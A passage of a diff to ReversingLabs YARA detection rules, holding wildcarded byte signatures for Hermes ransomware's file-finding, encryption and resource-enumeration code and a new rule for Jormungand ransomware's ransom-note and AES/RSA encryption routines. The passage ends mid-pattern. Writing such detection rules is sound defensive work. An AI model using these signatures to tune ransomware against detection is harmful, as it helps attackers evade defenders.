?? 56 56 68 ?? ?? ?? ?? FF 75 ?? FF + 15 ?? ?? ?? ?? 8B D8 3B DE 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 FF 75 ?? 89 75 ?? FF 75 + ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 56 8D 45 ?? 50 6A ?? 68 ?? ?? ?? ?? + 53 89 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 57 56 FF + 75 ?? FF 15 ?? ?? ?? ?? 33 C0 40 E9 + } + $hermes_enum_resources_v1 = { + 55 8B EC 83 EC ?? 53 56 57 8D 45 ?? 50 FF 75 ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A + ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? 6A ?? FF + 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? FF 75 ?? 6A ?? 53 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 45 ?? 50 53 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B + 43 ?? 66 83 38 ?? 8D 48 ?? 75 ?? 66 83 78 ?? ?? 75 ?? 6A ?? 51 E8 ?? ?? ?? ?? 59 59 + 85 C0 74 ?? 8B 43 ?? 8B D0 66 8B 08 40 40 66 85 C9 75 ?? 8B 7D ?? 2B C2 4F 4F 66 8B + 4F ?? 47 47 66 85 C9 75 ?? 8B C8 C1 E9 ?? 8B F2 F3 A5 8B C8 83 E1 ?? F3 A4 8B 7D ?? + 4F 4F 66 8B 47 ?? 47 47 66 85 C0 75 ?? BE ?? ?? ?? ?? A5 8B 43 ?? 83 E0 ?? 3C ?? 0F + 85 ?? ?? ?? ?? FF 75 ?? 53 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 33 C0 5F 5E + 5B C9 C3 33 C0 40 EB + } + $hermes_encrypt_files_v2_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 C0 8D BD ?? ?? ?? ?? AB 33 DB 89 5D ?? AB AB + AB 8B 7D ?? 57 FF 15 ?? ?? ?? ?? BE ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 53 56 6A ?? + 53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 53 FF 15 ?? ?? ?? ?? 33 + C0 E9 ?? ?? ?? ?? 33 DB 33 C0 89 5D ?? 0F 57 C0 89 45 ?? 66 0F 13 45 ?? 83 FE ?? 74 + ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 8B 5D ?? 8B 45 + ?? 83 FB ?? 75 ?? 85 C0 75 ?? 33 FF 47 E9 ?? ?? ?? ?? 83 65 ?? ?? 83 7D ?? ?? 77 ?? + 81 7D ?? ?? ?? ?? ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? E8 ?? ?? ?? ?? + 6A ?? 6A ?? 52 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 8B 4D ?? + 89 45 ?? 83 F9 ?? 72 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 6A ?? 6A ?? 51 FF 75 ?? E8 + ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? 3D ?? ?? ?? ?? 76 ?? + C7 45 ?? ?? ?? ?? ?? EB ?? 8B 55 ?? 8B C1 81 C2 ?? ?? ?? ?? 83 D0 ?? 83 F8 ?? 77 ?? + 72 ?? 81 FA ?? ?? ?? ?? 77 ?? 6A ?? 6A ?? 51 FF 75 ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 52 + 50 E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 52 50 E8 ?? ?? ?? ?? 89 45 ?? EB ?? 83 F9 + } + $hermes_encrypt_files_v2_p2 = { + 77 ?? 72 ?? 81 7D ?? ?? ?? ?? ?? 73 ?? 8B 45 ?? EB ?? 8B 45 ?? 3D ?? ?? ?? ?? 0F 87 + ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 77 ?? 0F 82 ?? ?? ?? ?? 83 7D ?? ?? + 0F 82 ?? ?? ?? ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? B8 ?? ?? ?? ?? 77 ?? 39 + 45 ?? 0F 86 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 2B D8 53 56 89 5D ?? FF 15 ?? ?? ?? ?? + 83 F8 ?? 75 ?? 6A ?? 58 E9 ?? ?? ?? ?? 33 DB 8D 45 ?? 53 50 6A ?? 8D 85 ?? ?? ?? ?? + 89 5D ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? EB ?? 8B C3 80 BC 05 ?? ?? ?? ?? + ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? + ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 75 ?? 80 BC 05 ?? ?? ?? ?? ?? 74 ?? 40 83 F8 + ?? 72 ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? + ?? 56 FF 15 ?? ?? ?? ?? 6A ?? 58 6A ?? 66 89 45 ?? 58 66 89 45 ?? 6A ?? 58 66 89 45 + ?? 33 C0 66 89 45 ?? 8D 45 ?? 50 57 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 68 ?? ?? + ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 57 56 89 1E E8 ?? ?? ?? + ?? 57 56 E8 ?? ?? ?? ?? 8D 45 ?? 50 56 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 56 57 FF 15 ?? + ?? ?? ?? 68 ?? ?? ?? ?? 53 56 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 33 DB 8D 45 + } + $hermes_encrypt_files_v2_p3 = { + 50 6A ?? 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? E9 ?? ?? ?? ?? + 39 5D ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 53 53 68 ?? ?? ?? ?? FF 75 ?? FF 75 ?? E8 + ?? ?? ?? ?? 89 5D ?? 5B 6A ?? 89 4D ?? 33 DB 89 45 ?? 89 55 ?? 5F EB ?? 8B 45 ?? 89 + 45 ?? 53 69 C0 ?? ?? ?? ?? 53 50 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? E9 ?? ?? + ?? ?? 53 8D 45 ?? 89 5D ?? 50 6A ?? 5F 57 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? + 85 C0 75 ?? 6A ?? E9 ?? ?? ?? ?? 53 53 53 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 75 ?? 6A ?? + E9 ?? ?? ?? ?? 89 5D ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B + D8 85 DB 75 ?? 6A ?? E9 ?? ?? ?? ?? 8B 55 ?? 33 C9 33 C0 C7 45 ?? ?? ?? ?? ?? 89 4D + ?? 89 45 ?? 83 65 ?? ?? C7 45 ?? ?? ?? ?? ?? 3B CA 75 ?? 8B 4D ?? 89 4D ?? C7 45 ?? + ?? ?? ?? ?? 33 C9 51 51 50 56 89 4D ?? FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? + 6A ?? 8D 45 ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 C7 + } + $hermes_encrypt_files_v2_p4 = { + 45 ?? ?? ?? ?? ?? 51 8D 45 ?? 50 51 51 FF 75 ?? 51 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? 50 53 6A ?? FF 75 ?? 6A ?? FF 75 ?? FF 15 ?? ?? + ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F + 84 ?? ?? ?? ?? 83 65 ?? ?? 8D 45 ?? 6A ?? 50 FF 75 ?? 53 56 FF 15 ?? ?? ?? ?? 85 C0 + 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 41 8B 55 ?? 05 ?? ?? ?? ?? 89 4D ?? 89 45 ?? 3B + CA 0F 86 ?? ?? ?? ?? 33 C0 C7 45 ?? ?? ?? ?? ?? 8D 7D ?? 66 C7 45 ?? ?? ?? AB AB AB + AB 66 AB 33 C0 88 45 ?? 39 45 ?? 77 ?? 81 7D ?? ?? ?? ?? ?? 77 ?? 8D 45 ?? 50 8D 45 + ?? 50 E8 ?? ?? ?? ?? 59 59 EB ?? 6A ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 33 C0 8D 7D ?? + AB 6A ?? AB 66 AB 8D 45 ?? 50 8B 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 50 E8 + ?? ?? ?? ?? 8D 45 ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 FF 8D 45 ?? 57 50 8D + 45 ?? 89 7D ?? 50 E8 ?? ?? ?? ?? 59 50 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? + 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 8D 45 ?? 50 57 57 6A + } + $hermes_encrypt_files_v2_p5 = { + FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? + ?? 6A ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 83 C4 + ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 57 6A ?? FF 75 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 85 + C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 57 8D 45 ?? 89 + 7D ?? 50 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? + ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? E9 ?? ?? ?? ?? 39 7D ?? 77 ?? 81 7D ?? ?? ?? ?? ?? + 76 ?? 6A ?? 57 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 56 FF 15 ?? ?? ?? ?? 83 F8 + ?? 75 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? EB ?? 57 8D 45 ?? 89 7D ?? 50 + 6A ?? 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 57 53 FF + 15 ?? ?? ?? ?? 6A ?? EB ?? 56 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 53 E8 ?? ?? ?? ?? + 83 C4 ?? 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 6A ?? 5B EB ?? 68 ?? ?? ?? ?? 6A ?? + 53 FF 15 ?? ?? ?? ?? 6A ?? 5B 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B C3 + EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ?? + ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A ?? EB ?? FF 75 ?? FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? + ?? ?? 6A ?? 5F EB ?? 6A ?? 5F 56 FF 15 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 68 ?? + ?? ?? ?? 6A ?? 53 FF 15 ?? ?? ?? ?? EB ?? 6A ?? E9 ?? ?? ?? ?? 6A ?? 5F 56 FF 15 ?? + ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3 + } + $hermes_find_files_v2_p1 = { + 55 8B EC 81 EC ?? ?? ?? ?? 53 8B 5D ?? 8D 85 ?? ?? ?? ?? 56 57 50 68 ?? ?? ?? ?? 53 + E8 ?? ?? ?? ?? 59 59 50 FF 15 ?? ?? ?? ?? 8B F8 68 ?? ?? ?? ?? 53 89 7D ?? E8 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 53 8B F0 E8 ?? ?? ?? ?? 2B C6 33 C9 83 C4 ?? 66 89 0C 43 83 + FF ?? 0F 84 ?? ?? ?? ?? 33 F6 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83 F8 ?? 75 ?? + 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D 85 ?? ?? ?? ?? 50 57 + FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 83 + F8 ?? 75 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 8D + 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? 58 6A ?? 5F 6A + ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 59 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? + 66 89 45 ?? 33 C0 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 + } + $hermes_find_files_v2_p2 = { + 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 45 ?? 58 6A ?? 66 89 45 + ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 33 C0 66 89 55 ?? + 66 89 55 ?? 5A 6A ?? 66 89 45 ?? 58 6A ?? 66 89 85 ?? ?? ?? ?? 58 6A ?? 66 89 4D ?? + 66 89 4D ?? 66 89 8D ?? ?? ?? ?? 59 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? + ?? 33 C0 66 89 7D ?? 66 89 BD ?? ?? ?? ?? 8D 7D ?? 89 75 ?? 66 89 75 ?? 66 89 55 ?? + 89 75 ?? 66 89 75 ?? 66 89 8D ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? + AB 6A ?? 66 89 4D ?? 66 89 55 ?? AB 66 89 55 ?? 89 75 ?? AB 66 AB 58 6A ?? 66 89 45 + ?? 58 6A ?? 5F 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? + 66 89 45 ?? 58 6A ?? 66 89 45 ?? 58 6A ?? 59 66 89 45 ?? 33 C0 66 89 45 ?? 6A ?? 58 + 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 6A + ?? 58 66 89 85 ?? ?? ?? ?? 6A ?? 58 66 89 85 ?? ?? ?? ?? 33 C0 66 89 7D ?? 66 89 7D + ?? 8D BD ?? ?? ?? ?? 66 89 85 ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? 66 89 8D + } + $hermes_find_files_v2_p3 = { + AB AB AB 66 AB 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D + 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? + 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? + 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 + C0 0F 84 ?? ?? ?? ?? 8B 7D ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 + ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? + ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 + E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 8D 45 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 + 59 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 + } + $hermes_find_files_v2_p4 = { + 0F 84 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 8D 45 ?? 50 8D 85 + ?? ?? ?? ?? 50 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 + ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 45 ?? 50 8D + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 + 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? EB ?? 8B 7D ?? F6 85 ?? ?? ?? + ?? ?? 74 ?? 53 E8 ?? ?? ?? ?? 59 FF 75 ?? 8D 85 ?? ?? ?? ?? FF 75 ?? FF 75 ?? 50 53 + E8 ?? ?? ?? ?? 59 59 50 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 8B F0 8D + 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 2B F0 83 C4 ?? 33 C0 66 89 44 73 ?? 33 F6 8D 85 ?? + ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 5F 5E + 5B 8B E5 5D C3 + } + $hermes_enum_resources_v2 = { + 55 8B EC 83 EC ?? 53 56 57 8D 45 ?? C7 45 ?? ?? ?? ?? ?? 50 FF 75 ?? 33 DB C7 45 ?? + ?? ?? ?? ?? 53 53 6A ?? 89 5D ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF 75 ?? + 6A ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? FF 75 ?? 53 56 E8 ?? ?? ?? ?? 83 C4 ?? 8D + 45 ?? 50 56 8D 45 ?? 50 FF 75 ?? FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 7E ?? 6A ?? 58 66 + 39 07 75 ?? 66 39 47 ?? 75 ?? 50 8D 47 ?? 50 E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 57 FF + 75 ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? F7 46 ?? ?? ?? + ?? ?? 74 ?? FF 75 ?? 56 E8 ?? ?? ?? ?? 59 59 85 C0 75 ?? 33 C0 5F 5E 5B 8B E5 5D C3 + 33 C0 40 EB + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Teleneras MB" and pe.signatures [ i ] . serial == "03:a7:74:8a:43:55:02:0a:65:24:66:b5:e0:2e:07:de" and 1575244801 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( ( ( all of ( $hermes_find_files_v1_p* ) ) and ( all of ( $hermes_encrypt_files_v1_p* ) ) ) or ( ( all of ( $hermes_find_files_v2_p* ) ) and ( all of ( $hermes_encrypt_files_v2_p* ) ) ) ) and ( any of ( $hermes_enum_resources_v* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_B881A72D4117Bbc38B81D3C65C792C1A : INFO FILE +rule REVERSINGLABS_Win32_Ransomware_Jormungand : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Jormungand ransomware." author = "ReversingLabs" - id = "593c1799-a5df-5b3e-8a8b-826d808a14f0" - date = "2020-08-05" - modified = "2023-11-08" + id = "418c3d9f-2338-593f-a8ec-a1e25afa50d4" + date = "2021-10-22" + modified = "2021-10-22" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L3808-L3826" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Jormungand.yara#L1-L135" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bad2a06090f077ebc635d21446b47c9f115fe477567afb3d5994043f5a7883b1" + logic_hash = "049eb4533b37d8d72e50dd1e803a897758386643770d47b3e7690f58e44d5236" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Ransomware" + tc_detection_name = "Jormungand" + tc_detection_factor = 5 importance = 25 + strings: + $drop_ransom_note = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 8D 44 24 ?? 3B 41 ?? 0F 86 ?? ?? ?? ?? 81 EC + ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? + ?? ?? ?? 89 44 24 ?? 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 + 84 24 ?? ?? ?? ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 54 24 ?? 89 14 24 8B 94 24 ?? ?? ?? ?? + 89 54 24 ?? 8B 94 24 ?? ?? ?? ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? + 8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 + ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? 8B 4C 24 + ?? 89 4C 24 ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 89 + 5C 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 5C 24 ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? + ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 04 24 89 4C 24 ?? C7 44 24 ?? + ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 84 24 ?? ?? ?? ?? + 8D 4C 24 ?? 89 0C 24 8B 8C 24 ?? ?? ?? ?? 89 4C 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8B 4C + 24 ?? 89 4C 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89 4C 24 ?? 8D + 44 24 ?? 89 04 24 8B 84 24 ?? ?? ?? ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? + ?? ?? 8B 44 24 ?? 8B 4C 24 ?? C7 04 24 ?? ?? ?? ?? 89 44 24 ?? 89 4C 24 ?? E8 ?? ?? + ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 9C 24 ?? ?? ?? ?? 89 1C 24 89 44 24 ?? + 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 84 24 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? + 81 C4 ?? ?? ?? ?? C3 E8 + } + $encrypt_files_aes = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? 8B 44 24 + ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 + ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 74 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 + ?? ?? ?? ?? ?? 89 54 24 ?? 89 5C 24 ?? 83 C4 ?? C3 89 44 24 ?? 89 4C 24 ?? 8B 50 ?? + 89 0C 24 FF D2 8B 44 24 ?? 8B 4C 24 ?? 89 0C 24 8B 4C 24 ?? 89 4C 24 ?? 8B 4C 24 ?? + 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 + ?? 8B 54 24 ?? 89 54 24 ?? C7 04 24 ?? ?? ?? ?? 8D 1D ?? ?? ?? ?? 89 5C 24 ?? C7 44 + 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 89 + 1C 24 8B 5C 24 ?? 89 5C 24 ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B + 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 ?? 8D 15 ?? ?? ?? ?? 89 14 24 8B 54 24 ?? + 89 54 24 ?? 89 54 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 4C 24 ?? 89 4C 24 + ?? 8B 54 24 ?? 89 54 24 ?? 8B 5C 24 ?? 8B 5B ?? 89 44 24 ?? 89 4C 24 ?? 89 54 24 ?? + 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? 89 6C 24 ?? 8B 6C 24 ?? + 89 2C 24 FF D3 8B 05 ?? ?? ?? ?? 89 04 24 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 + 24 ?? 8B 44 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 89 44 24 ?? 89 + 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 83 C4 ?? C3 E8 + } + $encrypt_files_rsa = { + 64 8B 0D ?? ?? ?? ?? 8B 89 ?? ?? ?? ?? 3B 61 ?? 0F 86 ?? ?? ?? ?? 83 EC ?? C7 04 24 + ?? ?? ?? ?? 8D 05 ?? ?? ?? ?? 89 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B + 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 89 14 24 89 4C 24 ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B + 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 48 ?? 8B 50 ?? 8B 40 ?? 89 0C 24 89 54 24 ?? 89 + 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 8B 5C 24 ?? 85 D2 75 ?? + 8D 15 ?? ?? ?? ?? 39 D0 0F 85 ?? ?? ?? ?? 8B 05 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 89 04 + 24 89 54 24 ?? 89 4C 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 ?? 89 44 24 ?? 8B 44 24 + ?? 89 44 24 ?? E8 ?? ?? ?? ?? 8B 44 24 ?? 8B 4C 24 ?? 8B 54 24 ?? 